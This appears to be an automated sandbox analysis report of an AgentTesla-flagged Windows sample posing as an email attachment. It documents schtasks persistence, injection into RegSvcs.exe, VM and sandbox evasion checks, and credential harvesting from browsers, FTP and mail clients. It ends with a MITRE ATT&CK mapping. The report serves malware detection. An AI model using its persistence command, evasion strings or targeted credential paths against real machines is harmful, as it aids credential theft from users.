Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BCC4E0 pushfd ; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC2768 pushfd ; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC7A37 push edi; retn 0000h
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC1E58 pushfd ; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00BC2B78 pushfd ; iretd
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_010B451C push ss; iretd

Source: initial sample	Static PE information: section name: .text entropy: 7.85847754402
Source: initial sample	Static PE information: section name: .text entropy: 7.85847754402

Source: Following abusive email letter .exe, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	High entropy of concatenated method names: '.cctor', 'SUpqes', 'creoiNvd7', 'jZiU8kt7k', 'yIEeUuogE', 'HNMMnrD0K', 'U6ZIpjiMV', 'TYIaeXNeW', 'rI3lmZ9FL', 'SuhhReBcy'
Source: VUGIHQGciwlxDd.exe.0.dr, vJiGl01UUJfXfNWas3/DyyVDbaRvM1YfIq9il.cs	High entropy of concatenated method names: '.cctor', 'SUpqes', 'creoiNvd7', 'jZiU8kt7k', 'yIEeUuogE', 'HNMMnrD0K', 'U6ZIpjiMV', 'TYIaeXNeW', 'rI3lmZ9FL', 'SuhhReBcy'

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File created: C:\Users\user\AppData\Roaming\VUGIHQGciwlxDd.exe

Jump to dropped file

Boot Survival:

Uses schtasks.exe or at.exe to add and modify task schedules

Show sources

Source: C:\Users\user\Desktop\Following abusive email letter .exe

Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp'

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Following abusive email letter .exe PID: 3888, type: MEMORY

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\Following abusive email letter .exe

File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 3521
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Window / User API: threadDelayed 6262

Source: C:\Users\user\Desktop\Following abusive email letter .exe TID: 6040	Thread sleep time: -101485s >= -30000s
Source: C:\Users\user\Desktop\Following abusive email letter .exe TID: 2396	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Thread delayed: delay time: 101485
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Thread delayed: delay time: 922337203685477

Source: RegSvcs.exe, 00000004.00000002.472242636.0000000005EA0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: RegSvcs.exe, 00000004.00000002.472242636.0000000005EA0000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: RegSvcs.exe, 00000004.00000002.472242636.0000000005EA0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: Following abusive email letter .exe, 00000000.00000002.211185227.00000000030FF000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: RegSvcs.exe, 00000004.00000002.472641648.0000000005FBA000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: RegSvcs.exe, 00000004.00000002.472242636.0000000005EA0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Code function: 4_2_00BAE018 LdrInitializeThunk,

Source: C:\Users\user\Desktop\Following abusive email letter .exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\SysWOW64\schtasks.exe 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\VUGIHQGciwlxDd' /XML 'C:\Users\user\AppData\Local\Temp\tmp1045.tmp'
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Source: RegSvcs.exe, 00000004.00000002.466731473.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: RegSvcs.exe, 00000004.00000002.466731473.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: RegSvcs.exe, 00000004.00000002.466731473.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: RegSvcs.exe, 00000004.00000002.466731473.0000000001860000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Users\user\Desktop\Following abusive email letter .exe VolumeInformation
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Users\user\Desktop\Following abusive email letter .exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Runtime.Remoting\v4.0_4.0.0.0__b77a5c561934e089\System.Runtime.Remoting.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\CustomMarshalers\v4.0_4.0.0.0__b03f5f7f11d50a3a\CustomMarshalers.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation

Source: C:\Users\user\Desktop\Following abusive email letter .exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.raw.unpack, type: UNPACKEDPE

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3352, type: MEMORY
Source: Yara match	File source: Process Memory Space: Following abusive email letter .exe PID: 3888, type: MEMORY
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.raw.unpack, type: UNPACKEDPE

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to harvest and steal ftp login credentials

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites\Quick Connect\
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Tries to steal Mail credentials (via file access)

Show sources

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 00000004.00000002.467290309.0000000002E61000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3352, type: MEMORY

Remote Access Functionality:

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.raw.unpack, type: UNPACKEDPE

Yara detected AgentTesla

Show sources

Source: Yara match	File source: 00000004.00000002.464217016.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000000.209849248.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.211544150.00000000040C9000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.468629357.000000000308F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 3352, type: MEMORY
Source: Yara match	File source: Process Memory Space: Following abusive email letter .exe PID: 3888, type: MEMORY
Source: Yara match	File source: 4.0.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Following abusive email letter .exe.4183028.2.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation211	Scheduled Task/Job1	Process Injection12	Disable or Modify Tools1	OS Credential Dumping2	File and Directory Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Alternative Protocol1	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Deobfuscate/Decode Files or Information1	Credentials in Registry1	System Information Discovery114	Remote Desktop Protocol	Data from Local System2	Exfiltration Over Bluetooth	Non-Standard Port1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information3	Security Account Manager	Query Registry1	SMB/Windows Admin Shares	Email Collection1	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Software Packing13	NTDS	Security Software Discovery321	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol11	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading1	LSA Secrets	Process Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion141	Cached Domain Credentials	Virtualization/Sandbox Evasion141	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	Application Window Discovery1	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
